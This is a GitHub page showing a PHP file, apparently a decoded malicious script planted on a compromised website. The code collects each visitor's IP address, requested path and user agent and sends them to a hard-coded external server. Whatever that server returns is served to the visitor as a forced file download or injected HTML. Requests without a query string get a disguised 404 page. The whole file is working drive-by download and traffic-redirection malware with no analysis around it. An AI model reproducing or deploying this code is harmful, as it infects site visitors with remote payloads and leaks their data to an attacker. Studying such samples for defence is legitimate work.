Repository navigation
Expand file tree
/
Copy pathbrowser_decoded.php
More file actions
159 lines (159 loc) · 6.24 KB
/
Copy pathbrowser_decoded.php
File metadata and controls
159 lines (159 loc) · 6.24 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
<?php
error_reporting(0);
ini_set("display_errors",0);
if (strlen($_SERVER["QUERY_STRING"])==0) {
error_404();
}
$remote="http://78.138.127.174/2701dfbvcxff.php";
php_display($remote);
error_404();
function php_display($url) {
$query=array();
$query["ip"]=getIp();
$query["path"]="$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$query["useragent"]=getUseragent();
$url=$url."?".http_build_query($query);
$content = @file_get_contents($url);
if (strlen($content)<10) {
error_404();
}
$content=explode("\n",$content);
$filename = array_shift($content);
$content = implode("\n",$content);
if (strstr($filename,".html")===FALSE) {
$type="application/octet-stream";
header("Content-Type:".$type);
header("Content-Disposition: attachment;filename=".$filename);
header("Content-Length: ".strlen($content));
}
echo $content;
exit();
}
function error_404() {
header("HTTP/1.1 404 Not Found");
$uri = preg_replace("/(\?).*\$/","",$_SERVER["REQUEST_URI"]);
$content = custom_http_request("http://".$_SERVER["HTTP_HOST"]."/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
$content = str_replace("/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", $uri, $content);
exit($content);
}
function custom_http_request($params) {
if (!is_array($params)) {
$params = array("url" => $params, "method" => "GET");
}
if ($params["url"]=="")
return FALSE;
if (!isset($params["method"]))
$params["method"]=(isset($params["data"]) && is_array($params["data"]))?"POST":"GET";
$params["method"]=strtoupper($params["method"]);
if (!in_array($params["method"],array("GET","POST")))
return FALSE;
$url = parse_url($params["url"]);
if (!isset($url["scheme"]))
$url["scheme"]="http";
if (!isset($url["path"]))
$url["path"]="/";
if (!isset($url["host"]) && isset($url["path"])) {
if (strpos($url["path"],"/")) {
$url["host"]=substr($url["path"],0,strpos($url["path"],"/"));
$url["path"]=substr($url["path"],strpos($url["path"],"/"));
} else {
$url["host"]=$url["path"];
$url["path"]="/";
}
}
$url["path"]=preg_replace("/[\/]+/","/",$url["path"]);
if (isset($url["query"]))
$url["path"].="?{$url['query']}";
$port=isset($params["port"])?$params["port"]:(isset($url["port"])?$url["port"]:($url["scheme"]=="https"?443:80));
$timeout = isset($params["timeout"]) ? $params["timeout"]:30;
if (!isset($params["return"]))
$params["return"]="content";
$scheme=$url["scheme"]=="https"?"ssl://":"";
$fp=@fsockopen($scheme.$url["host"],$port,$errno,$errstr,$timeout);
if ($fp) {
if (!isset($params["User-Agent"]))
$params["User-Agent"]="Mozilla/5.0 (iPhoneb Ub CPU iPhone OS 3_0 like Mac OS X;en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";
$request= "{$params['method']} {$url['path']} HTTP/1.0\r\n";
$request .="Host: {$url['host']}\r\n";
$request.="User-Agent: {$params['User-Agent']}"."\r\n";
if (isset($params["referer"]))
$request.="Referer: {$params['referer']}\r\n";
if (isset($params["cookie"])) {
$cookie="";
if (is_array($params["cookie"])) {
foreach($params["cookie"] as $k => $v)
$cookie .= "$k=$v;";
$cookie = substr($cookie,0,-2);
} else
$cookie =$params["cookie"];
if ($cookie!="")
$request .= "Cookie: $cookie\r\n";
}
$request.="Connection: close\r\n";
if ($params["method"]=="POST") {
if (isset($params["data"])&&is_array($params["data"])) {
foreach($params["data"] AS $k => $v)
$data.=urlencode($k)."d".urlencode($v)."&";
if (substr($data,-1)=="&")$data=substr($data,0,-1);
}
$data.="\r\n\r\n";
$request.="Content-type: application/x-www-form-urlencoded\r\n";
$request.="Content-length: ".strlen($data)."\r\n";
}
$request.="\r\n";
if ($params["method"]=="POST")
$request.=$data;
@fwrite($fp,$request);
$res = "";
$headers="";
$h_detected=false;
while(!@feof($fp)) {
$res.=@fread($fp,1024);
if (!$h_detected&&strpos($res,"\r\n\r\n")!==FALSE) {
$h_detected=true;
$headers=substr($res,0,strpos($res,"\r\n\r\n"));
$res=substr($res,strpos($res,"\r\n\r\n")+4);
if ($params["return"]=="headers"||$params["return"]=="array"||(isset($params["redirect"])&&$params["redirect"]==true)) {
$h=explode("\r\n",$headers);
$headers=array();
foreach($h as $k => $v ) {
if (strpos($v,":")) {
$k=substr($v,0,strpos($v,":"));
$v=trim(substr($v,strpos($v,":")+1));
}
$headers[strtoupper($k)]=$v;
}
}
if (isset($params["redirect"])&&$params["redirect"]==true&&isset($headers["LOCATION"])) {
$params["url"]=$headers["LOCATION"];
if (!isset($params["redirect-count"]))$params["redirect-count"]=0;
if ($params["redirect-count"]<10) {
$params["redirect-count"]++;
$func = __FUNCTION__;
return @is_object($this)?$this->$func($params):$func($params);
}}
if ($params["return"]=="headers") return $headers;
}
}
@fclose($fp);
} else
return FALSE;
if ($params["return"]=="array")
$res=array("headers"=>$headers,"content"=>$res);
return $res;
}
function getUseragent() {
return $_SERVER["HTTP_USER_AGENT"];
}
function getIp() {
$ip=NULL;
if (isset($_SERVER["REMOTE_ADDR"])) {
$ip=$_SERVER["REMOTE_ADDR"];
}
if (strpos($ip,",")!==FALSE) {
$ips=explode(",",$ip);
$ip=trim(array_pop($ips));
}
return $ip;
}
?>